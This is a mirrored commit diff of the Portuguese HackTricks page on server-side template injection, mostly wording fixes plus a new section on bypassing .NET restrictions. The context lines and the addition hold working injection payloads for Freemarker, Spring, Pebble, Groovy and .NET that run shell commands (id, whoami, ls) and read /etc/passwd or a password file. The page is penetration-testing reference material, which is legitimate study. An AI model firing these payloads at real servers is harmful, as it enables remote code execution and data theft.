mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/pentesting-web/ssti-server-side-template-injection/READ
This commit is contained in:
parent
2c964a1cf5
commit
fdda2bebdf
@ -25,7 +25,7 @@ Para prevenir vulnerabilidades de injeção de template do lado do servidor, os
|
||||
Para detectar Injeção de Template do Lado do Servidor (SSTI), inicialmente, **fuzzing do template** é uma abordagem simples. Isso envolve injetar uma sequência de caracteres especiais (**`${{<%[%'"}}%\`**) no template e analisar as diferenças na resposta do servidor a dados regulares versus este payload especial. Indicadores de vulnerabilidade incluem:
|
||||
|
||||
- Erros lançados, revelando a vulnerabilidade e potencialmente o mecanismo de template.
|
||||
- Ausência do payload na reflexão, ou partes dele faltando, implicando que o servidor o processa de forma diferente de dados regulares.
|
||||
- Ausência do payload na reflexão, ou partes dele faltando, implicando que o servidor o processa de forma diferente dos dados regulares.
|
||||
- **Contexto de Texto Simples**: Distinguir de XSS verificando se o servidor avalia expressões de template (por exemplo, `{{7*7}}`, `${7*7}`).
|
||||
- **Contexto de Código**: Confirmar a vulnerabilidade alterando parâmetros de entrada. Por exemplo, mudando `greeting` em `http://vulnerable-website.com/?greeting=data.username` para ver se a saída do servidor é dinâmica ou fixa, como em `greeting=data.username}}hello` retornando o nome de usuário.
|
||||
|
||||
@ -43,7 +43,7 @@ Identificar o mecanismo de template envolve analisar mensagens de erro ou testar
|
||||
|
||||
### [TInjA](https://github.com/Hackmanit/TInjA)
|
||||
|
||||
um scanner SSTI + CSTI eficiente que utiliza poliglotas inovadores.
|
||||
um scanner SSTI + CSTI eficiente que utiliza poliglotas inovadoras.
|
||||
```bash
|
||||
tinja url -u "http://example.com/?name=Kirlia" -H "Authentication: Bearer ey..."
|
||||
tinja url -u "http://example.com/" -d "username=Kirlia" -c "PHPSESSID=ABC123..."
|
||||
@ -110,7 +110,7 @@ ${"freemarker.template.utility.Execute"?new()("id")}
|
||||
|
||||
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}
|
||||
```
|
||||
**Freemarker - Bypass de Sandbox**
|
||||
**Freemarker - Bypass de sandbox**
|
||||
|
||||
⚠️ só funciona em versões do Freemarker abaixo de 2.3.30
|
||||
```java
|
||||
@ -209,7 +209,7 @@ Múltiplas expressões de variável podem ser usadas, se `${...}` não funcionar
|
||||
```java
|
||||
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
|
||||
```
|
||||
- Script Personalizado para geração de payloads
|
||||
- Script personalizado para geração de payloads
|
||||
```python
|
||||
#!/usr/bin/python3
|
||||
|
||||
@ -261,7 +261,7 @@ Versão antiga do Pebble ( < versão 3.0.9):
|
||||
```java
|
||||
{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}
|
||||
```
|
||||
Nova versão do Pebble :
|
||||
Nova versão do Pebble:
|
||||
```java
|
||||
{% raw %}
|
||||
{% set cmd = 'id' %}
|
||||
@ -372,11 +372,11 @@ Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstanc
|
||||
- `${{7*7}}` - 49
|
||||
- `${{request}}, ${{session}}, {{faceContext}}`
|
||||
|
||||
Expression Language (EL) é um recurso fundamental que facilita a interação entre a camada de apresentação (como páginas da web) e a lógica da aplicação (como managed beans) no JavaEE. É amplamente utilizado em várias tecnologias JavaEE para simplificar essa comunicação. As principais tecnologias JavaEE que utilizam EL incluem:
|
||||
Expression Language (EL) é um recurso fundamental que facilita a interação entre a camada de apresentação (como páginas da web) e a lógica da aplicação (como beans gerenciados) no JavaEE. É amplamente utilizado em várias tecnologias JavaEE para agilizar essa comunicação. As principais tecnologias JavaEE que utilizam EL incluem:
|
||||
|
||||
- **JavaServer Faces (JSF)**: Emprega EL para vincular componentes nas páginas JSF aos dados e ações correspondentes no backend.
|
||||
- **JavaServer Pages (JSP)**: EL é usado em JSP para acessar e manipular dados dentro das páginas JSP, facilitando a conexão dos elementos da página com os dados da aplicação.
|
||||
- **Contexts and Dependency Injection for Java EE (CDI)**: EL se integra ao CDI para permitir uma interação contínua entre a camada web e os managed beans, garantindo uma estrutura de aplicação mais coerente.
|
||||
- **Contexts and Dependency Injection for Java EE (CDI)**: EL se integra ao CDI para permitir uma interação contínua entre a camada web e os beans gerenciados, garantindo uma estrutura de aplicação mais coerente.
|
||||
|
||||
Verifique a página a seguir para saber mais sobre a **exploração de interpretadores EL**:
|
||||
|
||||
@ -386,7 +386,7 @@ el-expression-language.md
|
||||
|
||||
### Groovy (Java)
|
||||
|
||||
As seguintes contornadas do Security Manager foram retiradas deste [**writeup**](https://security.humanativaspa.it/groovy-template-engine-exploitation-notes-from-a-real-case-scenario/).
|
||||
As seguintes contornas do Security Manager foram retiradas deste [**writeup**](https://security.humanativaspa.it/groovy-template-engine-exploitation-notes-from-a-real-case-scenario/).
|
||||
```java
|
||||
//Basic Payload
|
||||
import groovy.*;
|
||||
@ -611,7 +611,7 @@ echo $t->finish($t->parse('OUT', 'authors'));
|
||||
|
||||
### patTemplate (PHP)
|
||||
|
||||
> [patTemplate](https://github.com/wernerwa/pat-template) é um mecanismo de template PHP não compilável, que usa tags XML para dividir um documento em diferentes partes
|
||||
> [patTemplate](https://github.com/wernerwa/pat-template) motor de template PHP não compilável, que usa tags XML para dividir um documento em diferentes partes
|
||||
```xml
|
||||
<patTemplate:tmpl name="page">
|
||||
This is the main page.
|
||||
@ -814,7 +814,7 @@ Confira a página a seguir para aprender truques sobre **bypass de execução de
|
||||
|
||||
[Site oficial](http://jinja.pocoo.org)
|
||||
|
||||
> Jinja2 é um mecanismo de template completo para Python. Ele possui suporte total a unicode, um ambiente de execução sandboxed integrado opcional, amplamente utilizado e licenciado sob BSD.
|
||||
> Jinja2 é um mecanismo de template completo para Python. Ele tem suporte total a unicode, um ambiente de execução sandboxed integrado opcional, amplamente utilizado e licenciado sob BSD.
|
||||
|
||||
- `{{7*7}} = Erro`
|
||||
- `${7*7} = ${7*7}`
|
||||
@ -928,6 +928,23 @@ O método .NET `System.Diagnostics.Process.Start` pode ser usado para iniciar qu
|
||||
|
||||
- [https://www.w3schools.com/asp/asp_examples.asp](https://www.w3schools.com/asp/asp_examples.asp)
|
||||
|
||||
### .Net Contornando restrições
|
||||
|
||||
Os mecanismos de Reflexão do .NET podem ser usados para contornar listas negras ou classes que não estão presentes no assembly. DLLs podem ser carregadas em tempo de execução com métodos e propriedades acessíveis a partir de objetos básicos.
|
||||
|
||||
Dlls podem ser carregadas com:
|
||||
|
||||
- `{"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("LoadFile").Invoke(null, "/path/to/System.Diagnostics.Process.dll".Split("?"))}` - do sistema de arquivos.
|
||||
- `{"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("Load", [typeof(byte[])]).Invoke(null, [Convert.FromBase64String("Base64EncodedDll")])}` - diretamente da requisição.
|
||||
|
||||
Execução completa de comando:
|
||||
```
|
||||
{"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("LoadFile").Invoke(null, "/path/to/System.Diagnostics.Process.dll".Split("?")).GetType("System.Diagnostics.Process").GetMethods().GetValue(0).Invoke(null, "/bin/bash,-c ""whoami""".Split(","))}
|
||||
```
|
||||
**Mais Informações**
|
||||
|
||||
- [https://efigo.pl/en/blog/cve-2024-9150/](https://efigo.pl/en/blog/cve-2024-9150/)
|
||||
|
||||
### Mojolicious (Perl)
|
||||
|
||||
Mesmo sendo Perl, ele usa tags como ERB em Ruby.
|
||||
|
Loading…
x
Reference in New Issue
Block a user